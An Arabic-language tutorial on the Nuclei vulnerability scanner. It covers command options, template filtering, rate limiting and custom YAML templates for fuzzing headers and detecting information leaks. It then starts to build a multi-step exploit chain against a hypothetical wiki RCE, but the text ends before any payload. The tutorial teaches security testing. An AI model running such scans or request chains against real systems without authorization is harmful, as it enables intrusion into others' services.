الدليل الكامل لإكتشاف الأخطاء باستخدام اداة Nuclei

 

الدليل الكامل لاكتشاف الأخطاء باستخدام اداة Nuclei

مقدمة

Nuclei عبارة عن أداة فحص سريعة وفعالة وقابلة للتطوير. يمكنها فحص الآلاف من الاهداف في بضع دقائق فقط.

تستخدم الادارة محرك فحص يدير قوالب نصية لتحديد الخطوات اللازمة لاكتشاف الثغرات الأمنية.

الأداة مفتوحة المصدر وتشجع المساهمات المجتمعية لغرض تطوير مكتبة القوالب والكود المصدري. وهذا يعني أنه كلما تم نشر CVE جديد ، يمكن لأي شخص إنشاء قالب Nuclei ويمكن نشره ليستخدمه المجتمع الامني.

سوف اشرح في هذه المقالة ميزات وخيارات الاداة المختلفة ؛ مثل القوالب المخصصة وسير العمل وتقديم بعض الإرشادات حول كيفية استخدام هذه الميزات للعثور على الأخطاء في الأهداف الحقيقية.

القوالب

قالب Nuclei هو عبارة عن ملف YAML. تخبر بيانات الترميز الموجودة في الملف الاداة بما يجب إرساله إلى الهدف وما الذي تبحث عنه في الردود لتحديد ما إذا كان الهدف مصاب بثغرة معينة.

يمكن لـ Nuclei فهم العديد من بروتوكولات الشبكة والخدمات بما في ذلك اتصالات HTTP و DNS و SSL واتصالات TCP الأولية. سنغطي قوالب فحص HTTP بالتفصيل أولاً ، نظرًا لأن خدمات الويب هي الهدف الأكثر شيوعًا لمستخدمي Nuclei ، وفي وقت لاحق في هذه المقالة ، سنلقي نظرة على كيفية تطوير قوالب مخصصة لفحص بعض البروتوكولات الأخرى.

باختصار ، سيقوم قالب HTTP بفحص تفاصيل الطلب ، مثل طريقة الطلب والمسار والعناوين ؛ وكيفية التحقق من الاستجابة لتحديد نوع الخدمة أو تحديد وجود ثغرة أمنية.

يستخدم محرك الاداة تقنية "تجميع القوالب" لتحسين عدد الطلبات المرسلة إلى الهدف وتقليل حركة مرور الشبكة. مثال أساسي على كيفية عمل ذلك هو إذا كان الفحص يحتوي على خمسة قوالب فردية تحتاج إلى ارسال طلب GET إلى المسار login.php ، فبدلاً من تقديم خمس طلبات GET منفصلة إلى عنوان URL المذكور ، ستقدم طلبًا واحدًا وخمسة من القوالب يمكنها معالجة نتائج هذا الطلب.

الوضع السهل

تعد الاداة بسيطة جدًا في التشغيل دون الحاجة إلى قراءة الكثير من التعليمات. بعد تثبيت الأداة ، يمكن أن تكون بسيطة التشغيل (لهدف واحد):

nuclei -u https://my.target.site

أو لأهداف متعددة:

nuclei -l /path/to/list-of-targets.txt

يتم استخدام هذه الأوامر للبحث عن آلاف الثغرات الأمنية المعروفة وتعداد المعلومات حول الهدف.

ستحدد Nuclei بعض الخيارات الافتراضية لفحص الثغرات الأمنية وعرض النتائج. بشكل افتراضي ، سيتم تشغيل جميع القوالب التي طورها المجتمع تقريبًا والتي تكون ذات صلة بالخدمة التي تم اختيارها ضد الهدف. تم تعطيل عدد قليل من القوالب التي تسبب خطر رفض الخدمة أو لأنها مصممة لعمليات الـ fuzzing. ومع ذلك ، يمكن تحديدها بشكل صريح باستخدام خيارات تصفية القوالب الموضحة في هذا المقال.

استخدام Nuclei مع أدوات أخرى

تم تصميم Nuclei لتكون متوافقة مع ادوات اخرى لغرض تقييم الأمان الشامل الذي يتكون من أدوات متعددة ، على سبيل المثال ، يمكنك تشغيل تعداد الدومينات الفرعية ، والتحقق من خدمات HTTP ، ونقل النتائج إلى Nuclei لفحص كل الأجهزة بحثًا عن الثغرات.

subfinder -d targetdomain.com -silent | httpx | nuclei -t technologies/tech-detect.yaml

قوالب التصفية

في وقت كتابة هذا المقالة ، هناك أكثر من 4161 قالب تم تطويره من قبل المجتمع في مكتبة الاداة. يشمل اكتشافات CVEs المعروفة والتشكيلات الخاطئة الشائعة والملفات الحساسة المكشوفة ونوع الخدمات التقنية وما إلى ذلك.

توفر Nuclei بعض الخيارات لإجراء بحث أكثر ذكاءً وكفاءة للأهداف بدلاً من الأسلوب الافتراضي المتمثل في استخدام كل قالب في المكتبة ضد الاهداف المحددة. يمكننا تصفية القوالب بشكل انتقائي بناءً على بعض المعايير المختلفة. دعونا نلقي نظرة على هذه الخيارات.

nuclei -u https://my.target.site -as

التحديد التلقائي (as-)

سيحاول هذا الخيار التعرف على مجموعة الخدمات والمكونات المستخدمة على الهدف ، ثم استخدام القوالب ذات العلاقة. مثال:

القوالب الجديدة فقط (nt-)

يستخدم هذا الخيار فقط القوالب التي تمت إضافتها مع التحديث الأخير. مثال:

nuclei -u https://my.target.site -nt 

قوالب محددة حسب اسم الملف (t-)

سيعمل هذا الخيار على تشغيل قوالب فردية محددة. بدلاً من اسم ملف واحد ، يمكن توفير ملف يحتوي على قائمة بأسماء ملفات القوالب (واحد لكل سطر) كباراميتر. يمكن توفير باراميترز متعددة.

مثال:

nuclei -u https://my.target.site -t file/logs/python-app-sql-exceptions.yaml -t exposures/files/pyproject-disclosure.yaml

او ملف يحتوي على مسارات القوالب المراد تشغيلها:

nuclei -u https://my.target.site -t templates-35.txt

قوالب محددة حسب المجلد (t-)

سيعمل هذا الخيار على تشغيل جميع القوالب داخل مجلد معين يقع ضمن مجلد قوالب الاداة. بدلاً من مجلد فرعي ، يمكن توفير ملف يحتوي على قائمة بالمجلدات (واحد لكل سطر) كباراميتر. يمكن توفير باراميترز متعددة. مثال:

nuclei -u https://my.target.site -t template-categories.txt

تحديد القوالب بالعلامات (tags-)

يستخدم هذا الخيار فقط القوالب التي تم تمييزها بعلامة معينة. يمكن تمييز القوالب بواسطة نوع الخدمة أو التطبيق. مثال:

nuclei -u https://jira.targetdomain.site -tags jira,generic

تحديد القوالب حسب درجة الخطورة (s-)

يستخدم هذا الخيار فقط القوالب التي لها درجة الخطورة المحددة في بيانات التعريف الخاصة بها. مثال:

nuclei -u https://jira.targetdomain.site -s critical,high,medium,low,info

الـ Rate Limiting

تتميز الاداة بعدد من الخيارات للحد من معدل إرسال الطلبات إلى الهدف. يمكننا استخدام هذه الخيارات لمنع اغراق الهدف بالطلبات الكثيرة أو في حالة وجود مشكلات في النطاق الترددي بينا وبين الهدف. تسمح هذه الخيارات بتقييد عدد الطلبات التي يتم إرسالها (150 طلب في الثانية هو الافتراضي) وعدد القوالب المتزامنة التي يتم تنفيذها بشكل افتراضي (25 قالب). مثال (يمكننا قصر الطلبات الى 3 طلبات في الثانية و 2 طلب فقط من القوالب) كما يلي:

nuclei -u https://my.target.site/ -rl 3 -c 2

يمكن أيضًا تحديد الطلبات في الدقيقة باستخدام الخيار rlm- ثم عدد الطلبات المطلوبة.

تحسينات أخرى

يمكن تعديل عدد من خيارات Nuclei الأخرى للمساعدة في تقليل الوقت اللازم لإكمال الفحص ، أو للسماح باتصال شبكة غير موثوق به.

طول المهلة (timeout-)

يمكننا تعيين مقدار الوقت قبل انتهاء مهلة محاولة الاتصال باستخدام هذا الخيار. القيمة الافتراضية هي خمس ثوانٍ ، ومع ذلك قد نرغب في تقليل الوقت لإكمال الفحص بسرعة أكبر إذا كنا نفحص العديد من الأجهزة المستهدفة. مثال:

nuclei -l list-of-targets.txt -timeout 1

عدد المحاولات (retries-)

بشكل افتراضي ، لن تعيد الاداة محاولة اتصال فاشلة. باستخدام خيار retries ، يمكننا تعيين عدد مرات إعادة المحاولة. مثال:

nuclei -l list-of-targets.txt -retries 3

عدد الأخطاء (mhe-)

الإعداد الافتراضي للاداة لتخطي هدف معين بعد مجموعة من الأخطاء هو 30 خطأ. يمكننا زيادة أو تقليل هذا الرقم باستخدام خيار max errors. مثال:

nuclei -l list-of-targets.txt -mhe 3

استئناف عمليات الفحص

يوفر Nuclei القدرة على استئناف الفحص المتوقف حتى لا تضطر إلى البدء من جديد إذا تم مقاطعة الفحص لسبب ما. بعد الضغط على control+C يتوقف الفحص ، وستقوم الأداة بإنشاء ملف استئناف وطباعة مساره:

يمكنك استئناف الفحص لاحقاً بالامر الآتي:

nuclei -l targets-file.txt -resume /path/to/resume-file.cfg

هيدرز مخصصة ومتغيرات القالب

حتى الآن ، الفحص الذي أظهرناه لم تتم مصادقته. قد تحتاج في بعض الأحيان إلى إجراء فحص للثغرات الأمنية على خدمة تتطلب تسجيل الدخول ، على سبيل المثال عبر مصادقة HTTP الأساسية أو شهادة العميل. قد يلزم تمرير معلومات المصادقة والباراميترز الأخرى إلى القوالب.

تسمح خيارات تهيئة Nuclei بتوفير المتغيرات والهيدرز المخصصة للقوالب بطرق مختلفة.

الكوكيز أو هيدر الطلب (H-)

إذا كان من اللازم إرسال المصادقة عبر الكوكيز أو من خلال هيدر معين ، فيمكن استخدام الخيار H- ، مع تحديد الهيدر بالشكل الآتي "header_name: header_value" مفصول بنقطتين:

nuclei -u https://api.target.site -tags php,apache -H Cookie:sc_=BPGFJcNgMwfePZBeJqoC838j8Mv4

متغيرات القالب (V-)

قد يتطلب القالب متغيرات ليتم تمريرها إليه تحتوي على معلومات المصادقة. لتمريررها ، استخدم الخيار V-.

متغيرات البيئة (ev-)

قد يتطلب القالب متغيرات البيئة ليتم تمريرها إليه والتي تحتوي على معلومات المصادقة. لتمرير متغيرات البيئة إلى قالب ، استخدم الخيار ev-.

قد تبدو القوالب التي تقبل متغيرات البيئة كما يلي:

requests:
  - method: POST
    path:
      - "{{BaseURL}}/apps"

    body: username={{N_USER}}&password={{N_PASS}}

سيقوم Nuclei بتمرير متغيرات البيئة إلى القالب من خلال الخيار ev-:

مصادقة شهادة العميل (cc-)

قد تتطلب بعض الخدمات على الأجهزة المستهدفة شهادة عميل للمصادقة. يجب أن تكون الشهادة بتنسيق PEM المشفر ويمكن توفيرها باستخدام الخيار cc-. فمثلا:

nuclei -u https://api.target.site -cc /path/to/client-cert.pem

الخيارات الأخرى المتعلقة بمصادقة شهادة العميل هي ck- و ca- التي تسمح لك بتوفير مفتاح خاص مشفر PEM وملفات المرجع المصدق (CA) لاستخدامها في المصادقة على الاهداف.

حدود الوضع السهل

يشبه الوضع الافتراضي "خارج الصندوق" لـ Nuclei الضغط على "زر الاختراق" أثناء الجلوس والسماح للأداة بفحص أهدافك بطريقة الطيار الآلي. إذا كنت صائدًا للأخطاء ، فقد لا يكون هذا رائعًا بالنسبة لك. يقوم العديد من الأشخاص بتشغيل Nuclei على إعداداته الافتراضية ، مما يزيد من احتمالية حصولك على نفس النتائج مثل أي شخص آخر قام بتشغيله ضد الأهداف التي حددتها.

لإطلاق العنان لإمكانات Nuclei الحقيقية ، نحتاج إلى استخدام قوالب ومهام مخصصة. كيف نفعل ذلك؟ تابع القراءة لمعرفة ذلك!

الميزة القوية التالية لـ Nuclei التي سنلقي نظرة عليها هي القوالب المخصصة ، والتي توجه Nuclei الى العثور على الثغرات الأمنية بشكل احترافي.

قوالب مخصصة

على الرغم من توفر الآلاف من القوالب التي طورها المجتمع ، يجب على أي شخص يريد أن يكون مستخدمًا قويًا لـ Nuclei أن يتعلم كيفية كتابة قوالب مخصصة. فيما يلي بعض السيناريوهات التي نستطيع كتابة قوالب لها:

• تم اكتشاف CVE جديد ، وقد قرأت الـ write-up المكتوب الذي يوضح الـ PoC  ولم يكتب أحد اي قالب Nuclei حتى الآن بخصوص الثغرة.
• اكتشفت ثغرة بنفسك من نوع يوم الصفر وتريد السماح للآخرين بفحص الاهداف بحثًا عن وجود نفس الثغرة.
• اكتشفت ناقل هجوم وحمولة جديدة تعمل على هدف واحد (على سبيل المثال ، بسبب نمط ترميز في مكتبة أو مكون معين) وتريد التحقق مما إذا كانت نفس المشكلة تؤثر على مكتبات وتطبيقات إخرى تستخدم نفس الشيء)

في الأقسام القليلة التالية ، سنتعمق في كيفية كتابة القوالب واستخدام ميزات محرك القوالب المتنوعة.

أساسيات كتابة القوالب المخصصة

تحتاج القوالب إلى بعض المعلومات الأساسية التي يمكن تلخيصها على النحو التالي:

• معرف القالب
• معلومات القالب
• ما هي البيانات المراد إرسالها إلى الهدف
• تعليمات حول كيفية تحليل الاستجابة

لنلقِ نظرة على مثال كامل لقالب بسيط يحتوي على كل هذه المعلومات:

id: htpasswd

info:
  name: Detect exposed .htpasswd files
  author: geeknik
  severity: info
  tags: config,exposure

requests:
  - method: GET
    path:
      - "{{BaseURL}}/.htpasswd"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - ":{SHA}"
          - ":$apr1$"
          - ":$2y$"
        condition: or

      - type: status
        status:
          - 200

سنلقي نظرة على الأجزاء المختلفة بالتفصيل ، ولكن في الوقت الحالي ، عليك فقط أن تعرف أن الغرض من القوالب هو في الأساس إخبار الاداة بالطلبات التي يجب إرسالها ، وما الذي سنبحث عنه في استجابة السيرفر.

مثال يمكننا استخدامه لتوضيح المكونات الأساسية للقالب وهو web-fuzzer بسيط.

الـ Fuzzing 

Fuzzing هو أسلوب اختبار يتضمن إرسال بيانات غير متوقعة أو عشوائية أو مشوهة بشكل متعمد إلى تطبيق برمجي معين. تعد هذه التقنية جزءًا لا يتجزأ من اختبار الأمان الذي يستخدم نهج "الصندوق الأسود" ، حيث تكون التفاصيل الداخلية للتطبيق غير معروفة.

توفر قوالب Nuclei القدرة على أتمتة عملية fuzzing. بشكل أساسي ، نقوم بإنشاء قالب لتحديد الطلب الأساسي ، والنقاط التي يتم فيها حقن الحمولة وكيفية التحقق من الاستجابة بحثًا عن مؤشرات على وجود ثغرة أمنية محتملة.

الاكتشاف البسيط للثغرة

دعنا نتخيل أنك شاهدت منشورًا بحثيًا مثيرًا للاهتمام حول طلبات هيدر الـ x-debug وهذا جعلك تفكر في ما إذا كانت هناك بعض الهيدرز الغير الموثقة المتشابهة والمثيرة للاهتمام الموجودة في التطبيقات الموجودة على الإنترنت.

يمكنك استخدام Nuclei للقيام بعملية fuzzing على خدمات الويب ، عن طريق fuzz هيدر الطلبات باستخدام قائمة كلمات تحتوي على حمولات عديدة وتحليل الردود لاكتشاف الحالات الغير طبيعية.

بعد أن نضيف بعض معلومات القالب الإلزامية ، يبدأ الأمر على النحو التالي:

id: my-test-nuclei-template

info:
  name: X Debug header fuzzing
  author: me
  severity: info
  description: Discover x-*-debug request headers

# TODO: what data to send to the remote host
# TODO: instructions on how to analyze the response

نحتاج إلى إضافة المزيد من البيانات إلى القالب لإخبار Nuclei بما يجب إرساله وكيفية تحليله. في قالب مصمم لفحص خدمات HTTP ، نستخدم حقل "requests" لإرشاد Nuclei بشأن ما يجب إرساله إلى الهدف.

الطلبات requests

يخبر حقل "الطلبات" Nuclei بنوع طلب HTTP لإرساله إلى الهدف. يسمح محرك القالب بتحديد طرق HTTP الشائعة مثل GET و POST و PUT وما إلى ذلك ، كما يسمح أيضًا بوضع الخيار "raw" حيث يكون لدينا سيطرة كاملة على الأجزاء المختلفة للطلب. سوف ندخل في التفاصيل الدقيقة للوضع الأولي لاحقًا ، ولكنه يوفر القدرة على استخدام بعض الميزات الأكثر تقدمًا في قوالب Nuclei. بالنسبة لعملية fuzz، سنستخدم الوضع raw.

حقل requests عبارة عن مصفوفة ، لذا يمكن إرسال طلبات متعددة إذا لزم الأمر ، لكننا نحتاج فقط إلى إرسال طلب واحد في هذا المثال. يحتاج قالبنا إلى إضافة ما يلي:

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-{{fuzz}}-debug: 1

	redirects: true
	attack: batteringram
	payloads:
	  fuzz: /var/tmp/fuzz.txt

يستخدم محرك القوالب تعبيرات مزدوجة مثل {{some_expression}} لتحديد الأجزاء الديناميكية للطلب. يوفر العديد من المتغيرات المتعلقة بعنوان URL مثل {{Hostname}} و {{Scheme}} و {{BaseURL}} وما إلى ذلك. يمكن العثور على القائمة الكاملة في هذا الرابط  دليل القوالب الرسمي.

لقد حددنا نقطة الحقن باستخدام {{fuzz}}. يمكنك استخدام أي اسم متغير مسموح به تريده بدلاً من "fuzz". تتم قراءة القائمة الفعلية للحمولات التي ستحل محل {{fuzz}} في الطلبات من الملف var/tmp/fuzz.txt ، والذي يجب أن يحتوي على حمولة واحدة لكل سطر.

يمكننا أيضًا تضمين قائمة الحمولات المضمنة (إذا لم تكن القائمة كبيرة) في القالب نفسه:

payloads:
        fuzz:
           - abc
           - def
           - test
           - xyz
           - php
           - derp

يخبر حقل "attack" الاداة بوضع fuzz الذي يجب استخدامه. الخيارات المتاحة هي batteringram (افتراضي) و Pitchfork وclusterbomb. الوضع batteringram هو الوحيد الذي يكون منطقيًا هنا نظرًا لوجود نقطة حقن واحدة فقط. إذا كانت هناك عدة نقاط لحقن الحمولة في الطلب ، فيمكن استخدام الأوضاع الأخرى.

يمكن العثور على التفاصيل الكاملة لأوضاع الهجوم في قسم HTTP Fuzz في دليل القوالب الرسمي.

أخيرًا ، يخبر حقل إعادة التوجيه Nuclei بتتبع أي عمليات إعادة توجيه.

المطابقات Matchers

لقد أخبرنا Nuclei بكيفية إرسال طلب إلى الهدف ، والآن نحتاج إلى إخباره بكيفية تحليل استجابة HTTP التي أرجعها الهدف بحثًا عن وجود ثغرة أمنية أو شي غير طبيعي في سلوك التطبيق. للقيام بذلك ، نحتاج إلى ربط المطابق بالطلب. المطابق هي ميزة يمكنها استخدام العديد من الأساليب لفحص استجابة المضيف ومقارنة عناصره بالقيم التي نحددها.

في هذا المثال ، يمكننا استخلاص بعض المعلومات حول الاستجابة المتوقعة من خلال فحص الطلب:

من الطلب و الاستجابة الموضحة في لقطة الشاشة أعلاه ، نعلم من عنوان طول المحتوى للاستجابة ، أن الاستجابة المتوقعة من التطبيق تحتوي على بودي بحجم 109 بايت.

سنكتب قاعدة المطابق بتمييز الاستجابة التي تحتوي على بودي أكبر من 109 بايت.

بالنسبة إلى قالبنا ، سنستخدم أداة مطابقة DSL (Domain Specific Language) ، والتي تتيح لنا استخدام لغة تعبير Nuclei للتحقق من أشياء مثل طول جسم الاستجابة:

    stop-at-first-match: false
    matchers:
      - type: dsl
        dsl:
          - "len(body) > 109"

تخبر لغة القالب أعلاه Nuclei بالاستمرار حتى إذا حصلنا على استجابة تتطابق طريق خيار "stop-at-first-match: false" . حقل المطابقات عبارة عن مصفوفة ، للسماح بمطابقات متعددة. في هذه الحالة ، الاداة ستميز اي رد من السيرفر يكون فيه حجم الجسم أكبر من 109 بايت.

سيبدو القالب النهائي كما يلي:

id: my-test-nuclei-template
info:
    name: X Debug header fuzzing
    author: me
    severity: info
    description: Discover x-*-debug request headers
    
requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        x-{{fuzz}}-debug: 1

    payloads:
        fuzz: /var/tmp/fuzz.txt
    attack: batteringram
 
    redirects: true
    stop-at-first-match: false
    matchers:
      - type: dsl
        dsl:
          - "len(body) > 109"

حتى الآن يمكننا تشغيل قالبنا المخصص ضد اي هدف ، باستخدام قائمة الحمولة الخاصة بنا.

اكتشف الفحص أن حمولة "php" أنتجت استجابة تم تمييزها بواسطة المطابق. هذا يعني أن قيمة الهيدر "x-php-debug: 1" تسببت في قيام الهدف بإرجاع استجابة شاذة (أطول من 109 بايت). يمكننا إرسال طلب يحتوي على هذا الهيدر يدويًا إلى الهدف مرة أخرى وفحص الاستجابة الفعلية لمعرفة ما تم إرجاعه ، لاحظ أنه تم تمييز الاستجابة لأن طول المحتوى كان 3023 بايت:

يمكن أن نرى أننا اكتشفنا بالفعل هيدر HTTP غير قياسي يبدو أنه تسبب في قيام التطبيق بالكشف عن بعض المعلومات المثيرة للاهتمام.

الآن قد نرغب في كتابة قالب آخر لاكتشاف التطبيقات التي تفهم هيدر "x-php-debug" المحدد على أهداف أخرى ومشاركتها مع الآخرين.

دعنا ننشئ قالباً مخصصًا بسيطًا ونفحصه لإظهار عدد قليل من خيارات الطلب والمطابقة. القالب الكامل موضح أدناه:

id: x-php-debug

info:
    name: x-php-debug header info disclosure
    author: me
    severity: medium
    description: Detect x-php-debug request header information leak vulnerability
    
requests:
  - method: GET
    path: 
      - "{{BaseURL}}"
    headers:
      x-php-debug: 1
    redirects: true
    max-redirects: 3

    matchers:
      - type: word
        words:
          - "Array"
          - "[HTTP_AUTHORIZATION]"

هذه المرة ، استخدمنا طلب GET بدلاً من وضع raw. كان هناك العديد من السمات التي حددناها لبيانات الطلب بما في ذلك ميثود الـ HTTP والمسار وأي هيدرز اضافية. في هذه الحالة ، أضفنا الهدر "x-php-debug" في حقل "headers".

بالنسبة لنوع المطابق ، استخدمنا هذه المرة مُطابق "word" ، والذي يقوم ببساطة بفحص الاستجابة بحثًا عن وجود كلمة " Array"  و جملة "[HTTP_AUTHORIZATION]" ، والتي نتوقع أن تكون موجودة في الاستجابة في حالة تسريب معلومات بيئة PHP.

عند اختبار قالبنا ضد الهدف ، يمكنن أن نرى أنه يعمل بشكل جيد ، ويكشف عن ثغرة information disclosure:

حتى الآن ، كانت هذه أمثلة نموذجية بسيطة إلى حد ما ، ولكن قد نرتكب بعض الأخطاء في بناء جملة القالب أو هيكله بينما نتعلم تطويرها. للمساعدة في استكشاف أي أخطاء وإصلاحها ، يمكننا استخدام ميزات تصحيح الأخطاء في Nuclei والتي سنلقي نظرة عليها بعد قليل.

ميزات التصحيح

مجموعة مفيدة من ميزات Nuclei لتطوير قوالب مخصصة هي خيارات التصحيح. تتيح لنا هذه الخيارات استكشاف سلوك القالب وإصلاحه في حالة عدم الحصول على النتائج المتوقعة أو حدوث خطأ.

التحقق من الصحة (validate-)

سيؤدي خيار التحقق من الصحة إلى تحميل القالب والتحقق مما إذا كانت البنية صحيحة ، وعرض أية مشكلات تم اكتشافها. من الجيد تشغيل هذا التحقق على قالب أنشأناه لاكتشاف أي أخطاء في بناء القالب بسرعة. للتوضيح ، دعنا نغيّر قالب HTTP الذي أنشأناه سابقًا لإدخال خطأ إملائي مقصود في السطر 24 ، بدلاً من "dsl" سنكتب "ds" ، وهي كلمة رئيسية غير موجودة:

سيعمل التحقق من صحة قالب Nuclei على وضع علامة على الخطأ ، مع تحديد السطر 24 كموقع الخطأ:

بمجرد إصلاح أخطاء بناء القالب وتشغيل عملية التحقق مرة أخرى ، سخبرنا Nuclei أن التحقق كان ناجحًا:

الإخراج المطول (verbose | -v-)

سيقوم هذا الخيار بطباعة أي مخرجات مطولة قد تولدها القوالب. مثال على ذلك:

• nuclei -l targets.txt -t my-template.yaml -v

التصحيح (debug-)

إذا كانت هناك حاجة إلى مزيد من التفاصيل أكثر مما يوفره خيار verbose ، فإن خيار التصحيح debug- سيطبع جميع الطلبات والاستجابات التي يرسلها القالب. يعد هذا مفيدًا لتحليل أي متغير أو استخدام دالة مساعدة ، وتسلسل الطلبات وما إذا كانت المطابقات تعمل بشكل صحيح. مثال على ذلك:

• nuclei -l targets.txt -t my-template.yaml -debug

البروكسي (p-)

إذا كنت تفضل فحص الطلبات والاستجابات المرتبطة بقالب باستخدام أداة مثل BurpSuite أو OWASP Zap بدلاً من قراءة المخرجات ، فيمكنك عمل ذلك باستخدام الخيار p- لتحديد عنوان URI لمستمع البروكسي. على سبيل المثال ، يستمع Zap على البورت 8080 ونريد أن نستجيب لطلبات البروكسي والاستجابة من خلاله:

• nuclei -l targets.txt -t my-template.yaml -p http://127.0.0.1:8080

المزيد من ميزات اكتشاف الثغرات المعقدة

استخدمت القوالب النموذجية التي أنشأناها حتى الآن طلبًا واحدًا فقط وتحليلًا للاستجابة القادمة من الهدف. تتطلب بعض الثغرات الأمنية عدة خطوات قد تتضمن ، على سبيل المثال ، استخراج رمز مميز من صفحة واحدة ، ثم استخدام هذا الرمز المميز في الطلب من صفحة أخرى.

لإثبات المزيد من ميزات القالب المتقدمة لـ Nuclei ، سننتقل عبر تطبيق ويب افتراضي يكون مصاب بثغرة RCE ولكنه يتطلب جلسة مصادقة عليها صالحة وإرسال رموز CSRF المميزة مع الطلبات. يتطلب استغلال الثغرة الأمنية عدة خطوات:

• تحميل صفحة تسجيل الدخول والتحقق من أن التطبيق هو MM Wiki
• التسجيل التلقائي لحساب جديد (POST /register.php)
• تسجيل الدخول باستخدام بيانات الدخولالسابقة وإنشاء جلسة مصادقة (POST /login.php)
• طلب ملف النسخ الاحتياطي لقاعدة البيانات واستخرج رمز CSRF المميز (GET /backup_db.php)
• ارسا طلب لإنشاء نسخة احتياطية لقاعدة البيانات بما في ذلك حمولة الاستغلال ورمز CSRF المميز (POST /backup_db.php)

لإنشاء سلسلة الطلبات هذه ، سنحتاج إلى مناقشة أدوات مطابقة DSL ووظائف المساعد بمزيد من التفصيل ، بالإضافة إلى فحص بعض ميزات القوالب الإضافية بما في ذلك المستخلصات extractors وشروط الطلب وإعادة استخدام ملفات تعريف الارتباط. من المهم ملاحظة أن هذه الميزات مدعومة فقط في وضع raw وليس أوضاع HTTP الأخرى.

DSL والوظائف المساعدة

لتنفيذ الخطوة 1 من سلسلة الطلبات الخاصة بنا ، نحتاج إلى إخبار Nuclei بكيفية طلب الصفحة الرئيسية واكتشاف نوع الخدمة المناسب بحثاً عن الخدمة المسماة MM Wiki.

تبدو الصفحة الريئيسية كما يلي:

إذا فحصنا استجابة HTML لصفحة MM Wiki الرئيسية ، فيمكننا رؤية جملة إصدار يمكن استخدامها لمعرفة نوع التطبيق. فهي موجودة في الكومنت الآتي:

•  "<! - MM Wiki Version x.x.x–>":

سنستخدم أداة مطابقة من نوع DSL لتطبيق MM Wiki. يسمح لنا مُطابق DSL باستخدام الوظائف المساعدة. يبدأ قالبنا بالبيانات التالية:

requests:
  - raw:
    - |
      GET {{Path}} HTTP/1.1
      Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body,'MM Wiki Version')"

دالة "()contains" في المطابق هي دالة مساعدة. كان بإمكاننا أيضًا استخدام مُطابِق "word" بسيط بدلاً من DSL ، ولكننا سنستخدم DSL لأنه سيسمح لنا باستخدام شروط الطلب ، وهي إحدى ميزات Nuclei التي سنستخدمها لاحقًا. يتم توفير العديد من الوظائف المساعدة بواسطة محرك قوالب Nuclei للمساعدة في المطابقة. يوجد مرجع أكثر تفصيلاً هنا.

طلبات raw متعددة

تمت كتابة الطلب الأول ونحتاج الآن إلى إخبار الاداة بكيفية تقديم الطلبات الأربعة المتبقية.

سيتضمن الطلب التالي إرسال فورم تسجيل حساب MM Wiki لإنشاء حساب جديد. هذا هو فورم التسجيل:

الطلب الفعلي لتقديم الفورم موضح أدناه:

يمكن أن نرى أننا بحاجة إلى إرسال اسم المستخدم وكلمة المرور كباراميتر  في طلب الـ POST.

لتقديم أكثر من طلب واحد ، نضيف عناصر مصفوفة متعددة ضمن الحقل "raw". دعونا نضيف طلبًا ثانيًا ، هذه المرة POST الى صفحة register.php باسم مستخدم وكلمة مرور. تبدو مصفوفة الطلبات الأولية الآن بهذا الشكل مع أول طلبين لدينا:

requests:
  - raw:
    - |
      GET {{Path}} HTTP/1.1
      Host: {{Hostname}}

    - |
      POST {{Path}}/register.php HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      
      username=65aca3e27440558a&password=65aca3e27440558a

إذا تم إنشاء الحساب بنجاح ، فسنكون قادرين على تسجيل الدخول إلى صفحة login.php من خلال إرسال بيانات الدخول التي اخترناها. يبدو طلب فورم تسجيل الدخول والاستجابة من الخادم كما يلي:

سنضيف طلبًا آخر إلى نهاية مصفوفة الطلب تحتوي على البيانات التالية:

- |
      POST {{Path}}/login.php HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      
      username=65aca3e27440558a&password=65aca3e27440558a

متابعة عمليات إعادة التوجيه

عند تسجيل الدخول بنجاح ، ستعيد صفحة تسجيل الدخول توجيه متصفحنا إلى home.php. بالنسبة لسلسلة الاستغلال هذه ، لا يهم حقًا ما إذا كنا نتبع إعادة التوجيه ، ولكن في الحالات التي نريد فيها التأكد من أن Nuclei يتبع عمليات إعادة التوجيه ، سنحتاج إلى إضافة ما يلي إلى القالب:

• redirects: true

إدارة الجلسات

ميزة أخرى سنطلبها هنا هي خيار إعادة استخدام الكوكيز. هذا الخيار يخبر Nuclei بإعادة استخدام الكوكيز نفسها في حقل الكوكيز مع الطلبات اللاحقة بعد تعيينها بواسطة التطبيق. للقيام بذلك ، نحتاج إلى إضافة السطر التالي إلى قالبنا:

• cookie-reuse: true    

بعد ذلك ، عندما يتفاعل Nuclei مع تطبيقنا المصاب، سيرسل الكوكيز PHPSESSID مع كل طلب.

الآن وقد أخبرنا Nuclei بكيفية تنفيذ الخطوتين 2 و 3 من سلسلة الاستغلال ، ننتقل إلى الخطوة 4 ، وهي جلب صفحة backup_db.php واستخراج رمز CSRF من فورم النسخ الاحتياطي. لتحقيق ذلك ، سنحتاج إلى استخدام ميزة Nuclei template Extractor.

الـ Extractors

سيحدد هذا الخيار قيمة ويستخرجها إذا كانت موجودة في الاستجابة. يمكن بعد ذلك عرض القيمة المستخرجة أو استخدامها في الطلبات اللاحقة. هذه الميزة مثالية للتعامل مع رموز CSRF أو هيدرز الاستجابة المخصصة أو الكوكيز التي تحتوي على معلومات نحتاج إلى تضمينها في سلسلة من الطلبات.

لتوضيح كيفية عمل Extractors ، دعنا نكتب الخطوة الرابعة في سلسلة طلبات الاستغلال الخاصة بنا لقالبنا.

هذا هو فورم إنشاء نسخة احتياطية:

لجلب ملف bakcup_db.php ، نحتاج إلى اضافة طلب آخر بنهاية مصفوفة الطلبات raw:

    - |
      GET {{Path}}/backup_db.php HTTP/1.1
      Host: {{Hostname}}

فيما يلي مقتطف من كود HTML لفورم "إنشاء نسخة احتياطية" (تم إرجاعه بواسطة طلب GET إلى backup_db.php) ، لاحظ رمز CSRF المميز الذي حصلنا عليه:

